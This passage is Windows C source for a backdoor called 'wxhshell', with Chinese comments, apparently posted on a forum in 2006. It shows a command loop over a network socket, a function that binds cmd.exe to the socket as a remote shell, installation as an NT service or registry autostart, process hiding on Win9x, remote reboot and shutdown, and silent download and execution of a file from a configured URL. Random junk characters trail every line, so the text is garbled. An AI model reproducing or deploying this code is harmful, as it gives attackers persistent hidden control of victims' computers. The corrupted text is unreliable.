  // 帮助 rb1`UG"h$  
  case '?': { <5NF;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *M$0J'-BQ  
    break; 0KGY\,ae:;  
  } [ { bV4  
  // 安装 ]`&Yqg  
  case 'i': { hO';{Nl/$  
    if(Install()) ?Rj~f{%g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hir4ZO%Zt  
    else \T <$9aNb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2I&o69x?  
    break; >y[oP!-|P  
    } 9'{}!-(xR  
  // 卸载 3'^k$;^  
  case 'r': { 6xZ=^;H  
    if(Uninstall()) tQ H+)*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b|+wc6   
    else 2Z3('?\z~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U2`'qsR1  
    break; Q5FM8Q  
    } # m[|2R  
  // 显示 wxhshell 所在路径 gFHT G  
  case 'p': { ,4ei2`wV  
    char svExeFile[MAX_PATH]; "g' jPwFG  
    strcpy(svExeFile,"\n\r"); J41G&$j(  
      strcat(svExeFile,ExeFile); ( YQWbOk  
        send(wsh,svExeFile,strlen(svExeFile),0); *,Za6.=  
    break; w9o^s5n  
    } e_/b2"{  
  // 重启  w~ [b*$  
  case 'b': { f|R"u W +  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u%/goxA  
    if(Boot(REBOOT)) #*TEq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [o.B  
    else { 3bDQk :L  
    closesocket(wsh); Fd#m<"  
    ExitThread(0); oI.G-ChP  
    } l'\pk<V  
    break; lKlU-4  
    } }S3qBQTYL  
  // 关机 Er{#ziN+  
  case 'd': { \[jq4`\$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D5:{fWVsV/  
    if(Boot(SHUTDOWN)) 7}vg.hmZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @DZB9DDR  
    else { L3n_ 5|  
    closesocket(wsh); *&d<yJM`b  
    ExitThread(0); (ZY@$''  
    } V^\8BVw  
    break; j%y$_9a7  
    } 6$ Gep  
  // 获取shell 40|,*wi  
  case 's': { 1}tbH[  
    CmdShell(wsh); Tp0bS  
    closesocket(wsh); 5cEcTJL[C  
    ExitThread(0); Y_]De3:V0B  
    break; 1!.(4gV  
  } k iRa+w:  
  // 退出 CYKr\DA  
  case 'x': { jiYmb8Q4D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZKXo-~=>  
    CloseIt(wsh); fgBM_c&9T  
    break; 1&P<  
    } cKn`/\.H  
  // 离开 'w14sr%  
  case 'q': { :OW ;?{ ~j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bf$_XG3  
    closesocket(wsh); #?XQ7Im  
    WSACleanup(); l2&`J_"  
    exit(1); # hlCs  
    break; P9S2?Q  
        } |QMhMGjV  
  } V=lfl1Ev0J  
  } *b xzCI7b  
l983vKr  
  // 提示信息 %/>Y/!;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9 JWa$iBH@  
} Rcawc Y  
  } \4AM*lZ  
?_ dIIQ  
  return; 3LfC{ER  
} in(U:04  
zLF?P3^  
// shell模块句柄 m~dC3}e8/?  
int CmdShell(SOCKET sock) 8@PX7!9  
{ +n7?S~R$  
STARTUPINFO si; l27\diKPJ  
ZeroMemory(&si,sizeof(si)); TuW/N L|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6: ]*c[7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 06Gt&_Q  
PROCESS_INFORMATION ProcessInfo; rY p3(k3  
char cmdline[]="cmd"; MCT'Nw@A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [|lB5gi4t!  
  return 0; doB  
} F {B\kq8  
+z9gbcx  
// 自身启动模式 7#~+@'Oe  
int StartFromService(void) t#S<iBAZ  
{ ay %KE=*v  
typedef struct 1-Po Z[p-R  
{ $ -c!W!H  
  DWORD ExitStatus; *A~ G_0B  
  DWORD PebBaseAddress; ;3 F"TH  
  DWORD AffinityMask; >+mD$:L  
  DWORD BasePriority; )NO<s0?&  
  ULONG UniqueProcessId; M gC:b-&5_  
  ULONG InheritedFromUniqueProcessId; T<I=%P)  
}   PROCESS_BASIC_INFORMATION; h1(j2S`:  
uK'&Dam  
PROCNTQSIP NtQueryInformationProcess; !gLkJ)  
dV Q-k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {>"NyY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n3lE, b  
?X-)J=XG  
  HANDLE             hProcess; kvh&d|  
  PROCESS_BASIC_INFORMATION pbi; .c#y%S  
rS0DSGDq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X{^}\,cVtG  
  if(NULL == hInst ) return 0; TyKWy0x-3  
.^bft P\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5qf BEPJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zvvP81$W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;r /;m\V  
=E&OuX-R  
  if (!NtQueryInformationProcess) return 0; r|*&GHo L  
ql GW.jY.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jAh2N3)  
  if(!hProcess) return 0; CdUAy|!`R  
'<R>E:5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {} Bf   
uHIiH@ S  
  CloseHandle(hProcess); KIeT!kmDl  
5*\\J&H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kSc{^-<R  
if(hProcess==NULL) return 0; ^ZM0c>ev=l  
2S8P}$mM  
HMODULE hMod; P"lBB8\eku  
char procName[255]; ;Efcw[<  
unsigned long cbNeeded; F3oQ^;xB  
+f0~D(d!_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +x]9+D&  
lc6i KFyG  
  CloseHandle(hProcess); h8 G5GRD  
/j"sS2$U  
if(strstr(procName,"services")) return 1; // 以服务启动 ^>?CMcN4*  
AkU<g  
  return 0; // 注册表启动 ?%O3Oi Xz  
} j$da8] !  
f(D_FTTO  
// 主模块 +Ug/rtK4   
int StartWxhshell(LPSTR lpCmdLine) Kd3?I5t  
{ 0Y]0!}  
  SOCKET wsl; B$KwkhMe  
BOOL val=TRUE; ~dHM4lGY  
  int port=0; |BZDhd9<{  
  struct sockaddr_in door; _28<m JfG  
\tyg(srw0  
  if(wscfg.ws_autoins) Install(); d/74{.  
O8U<{jgAG  
port=atoi(lpCmdLine); !TAp+b  
B$?qQ|0:=  
if(port<=0) port=wscfg.ws_port; XI Jlc~2  
/Jf~25F  
  WSADATA data; ,&HR(jTo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OOBhbpg!D  
Zc"B0_&?:7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q/I)V2a1i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >\<*4J$PZ  
  door.sin_family = AF_INET; }]UB;id'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); : t$l.+B  
  door.sin_port = htons(port); U"f ??y%)  
fQnwy!-\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mqfO4"lt  
closesocket(wsl); c~ <1':  
return 1; $[@0^IJq=K  
} Ovw[b2ii  
QO{y/{  
  if(listen(wsl,2) == INVALID_SOCKET) { -V % gVI[  
closesocket(wsl); 0(8H;T  
return 1; XA_FOw!cX  
} gLE7Edcp6V  
  Wxhshell(wsl);  \4ghYQ:  
  WSACleanup(); *pzq.#  
wyxGe<1  
return 0; :`vP}I ^  
 6qo^2  
} >cL{Ya}Rz  
DZ ^1s~  
// 以NT服务方式启动 qIwV q!=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fR-C0"c  
{ W</n=D<,I  
DWORD   status = 0; t j Vh^  
  DWORD   specificError = 0xfffffff; P ,eH5w"  
3UUGblg`~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L3(^{W]|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1+y"i<3)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H/~?@CE(YC  
  serviceStatus.dwWin32ExitCode     = 0; mV9A{h  
  serviceStatus.dwServiceSpecificExitCode = 0; K,xW6DiH  
  serviceStatus.dwCheckPoint       = 0; ~<qt%W?  
  serviceStatus.dwWaitHint       = 0; C.!_]Pxs  
ALd;$fd qf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \'?#i @O  
  if (hServiceStatusHandle==0) return; oh#N 0 0X  
&ogt2<1W  
status = GetLastError(); ]"fsW 9s  
  if (status!=NO_ERROR) gd@p|PsS^  
{ |`yZIY_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +$z]w(lbT  
    serviceStatus.dwCheckPoint       = 0; YJ7V`N p  
    serviceStatus.dwWaitHint       = 0; !$XHQLqF2  
    serviceStatus.dwWin32ExitCode     = status;  ZC^C  
    serviceStatus.dwServiceSpecificExitCode = specificError; }UyQ#U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3mt%!}S  
    return; 6\d X  
  } Md; /nJO~{  
T9y;OG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZX`J8lZP  
  serviceStatus.dwCheckPoint       = 0; M"^K 0 .  
  serviceStatus.dwWaitHint       = 0; yfjXqn[Z4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iy5R5L 2  
} WN a0,  
ek-!b!iI  
// 处理NT服务事件,比如:启动、停止 t]_S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6a}r( yP  
{ ySN V^+  
switch(fdwControl) DhKr;e  
{ rE!1wc>L  
case SERVICE_CONTROL_STOP: MXAEX2xmme  
  serviceStatus.dwWin32ExitCode = 0; &w~Xa( uu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 73NZ:h%=  
  serviceStatus.dwCheckPoint   = 0; FY;+PY@I{  
  serviceStatus.dwWaitHint     = 0; >X Qv?5  
  { ,qFA\cO*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~0tdfK0c  
  } yDd[e]zS`  
  return; 8LM #WIm?  
case SERVICE_CONTROL_PAUSE: !)OB@F%U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =LH}YUmd  
  break; h#f&|* Q5m  
case SERVICE_CONTROL_CONTINUE: 4B O %{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @6xGJ,s  
  break; +QqH}= M  
case SERVICE_CONTROL_INTERROGATE: Zy]s`aa  
  break; @] .VQ<X|0  
}; Q2'eQ0W{ o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {/M\Q@j  
} 7|D|4!i2Y  
L-'k7?%(  
// 标准应用程序主函数 qJs[i>P[W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p%RUHN3G[  
{ oFg'wAO.  
, r+"7$  
// 获取操作系统版本 Etnb3<^[t  
OsIsNt=GetOsVer(); ?g  }kb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >2-F2E,  
Z^6#4Q]YC  
  // 从命令行安装 CUhV$A#oo  
  if(strpbrk(lpCmdLine,"iI")) Install(); *=nO  
j]> uZalr  
  // 下载执行文件 d?Y-;-|8Qh  
if(wscfg.ws_downexe) { B%b_/F]e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fNhT;Bux  
  WinExec(wscfg.ws_filenam,SW_HIDE); c;V D}UD'  
} P1d,8~;  
5j [#'3TSU  
if(!OsIsNt) { Sb<\-O14"  
// 如果时win9x,隐藏进程并且设置为注册表启动 _-a|VTM  
HideProc(); QPg2Y<2  
StartWxhshell(lpCmdLine); U~QMR-bz  
} 23E 0~O  
else Gp1EJ2d8  
  if(StartFromService()) &:vsc Ol  
  // 以服务方式启动 dK # h<q1  
  StartServiceCtrlDispatcher(DispatchTable); =P_fv  
else zO2{.4  
  // 普通方式启动 wc[c N+p  
  StartWxhshell(lpCmdLine); XJFnih  
E%*AXkJ'dZ  
return 0; dq 8+m(7k  
}
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只看该作者 1 发表于: 2006-10-10
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